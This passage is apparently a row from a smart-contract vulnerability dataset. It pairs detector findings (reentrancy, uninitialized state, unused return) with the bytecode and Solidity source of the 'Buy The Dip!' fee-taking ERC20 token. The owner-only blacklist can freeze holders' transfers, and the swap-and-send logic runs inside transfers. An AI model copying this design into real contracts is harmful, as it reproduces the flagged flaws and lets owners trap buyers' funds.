816126c9565b82525050565b6120c4816126c9565b82525050565b60006120d58261256f565b6120df8185612592565b93506120ea8361255f565b8060005b8381101561211b5781516121028882612094565b975061210d83612585565b9250506001810190506120ee565b5085935050505092915050565b612131816126db565b82525050565b6121408161271e565b82525050565b61214f81612730565b82525050565b60006121608261257a565b61216a81856125a3565b935061217a818560208601612742565b61218381612836565b840191505092915050565b600061219b602a836125a3565b91506121a682612847565b604082019050919050565b60006121be6022836125a3565b91506121c982612896565b604082019050919050565b60006121e1601b836125a3565b91506121ec826128e5565b602082019050919050565b60006122046021836125a3565b915061220f8261290e565b604082019050919050565b60006122276020836125a3565b91506122328261295d565b602082019050919050565b600061224a6029836125a3565b915061225582612986565b604082019050919050565b600061226d6024836125a3565b9150612278826129d5565b604082019050919050565b60006122906017836125a3565b915061229b82612a24565b602082019050919050565b6122af81612707565b82525050565b6122be81612711565b82525050565b60006020820190506122d960008301846120bb565b92915050565b60006040820190506122f460008301856120bb565b61230160208301846120bb565b9392505050565b600060c08201905061231d60008301896120bb565b61232a6020830188612146565b6123376040830187612137565b6123446060830186612137565b61235160808301856120bb565b61235e60a08301846122a6565b979650505050505050565b600060408201905061237e60008301856120bb565b61238b60208301846122a6565b9392505050565b60006020820190506123a76000830184612128565b92915050565b600060208201905081810360008301526123c78184612155565b905092915050565b600060208201905081810360008301526123e88161218e565b9050919050565b60006020820190508181036000830152612408816121b1565b9050919050565b60006020820190508181036000830152612428816121d4565b9050919050565b60006020820190508181036000830152612448816121f7565b9050919050565b600060208201905081810360008301526124688161221a565b9050919050565b600060208201905081810360008301526124888161223d565b9050919050565b600060208201905081810360008301526124a881612260565b9050919050565b600060208201905081810360008301526124c881612283565b9050919050565b60006020820190506124e460008301846122a6565b92915050565b600060a0820190506124ff60008301886122a6565b61250c6020830187612137565b818103604083015261251e81866120ca565b905061252d60608301856120bb565b61253a60808301846122a6565b9695505050505050565b600060208201905061255960008301846122b5565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006125bf82612707565b91506125ca83612707565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125ff576125fe612775565b5b828201905092915050565b600061261582612707565b915061262083612707565b9250826126305761262f6127a4565b5b828204905092915050565b600061264682612707565b915061265183612707565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561268a57612689612775565b5b828202905092915050565b60006126a082612707565b91506126ab83612707565b9250828210156126be576126bd612775565b5b828203905092915050565b60006126d4826126e7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061272982612707565b9050919050565b600061273b82612707565b9050919050565b60005b83811015612760578082015181840152602081019050612745565b8381111561276f576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a56816126c9565b8114612a6157600080fd5b50565b612a6d816126db565b8114612a7857600080fd5b50565b612a8481612707565b8114612a8f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fe1cea85e54f7c94eaeacd8609696e3d35543ee14e709535919b767887b1695c64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,037 |
0x84eb9679b9589cd41495b01b0e4ebabfd20c4eb7
|
/**
____ ________ ____ _
/ __ )__ ____ __ /_ __/ /_ ___ / __ \(_)___
/ __ / / / / / / / / / / __ \/ _ \ / / / / / __ \
/ /_/ / /_/ / /_/ / / / / / / / __/ / /_/ / / /_/ /
/_____/\__,_/\__, / /_/ /_/ /_/\___/ /_____/_/ .___/
/____/ /_/
TG: https://t.me/buythediptoken
Twitter: https://twitter.com/buythediptoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ForeverUp is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Buy The Dip!";
string private constant _symbol = "BuyTheDip \xF0\x9F\x86\x99";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600c81526020017f4275792054686520446970210000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f42757954686544697020f09f8699000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffff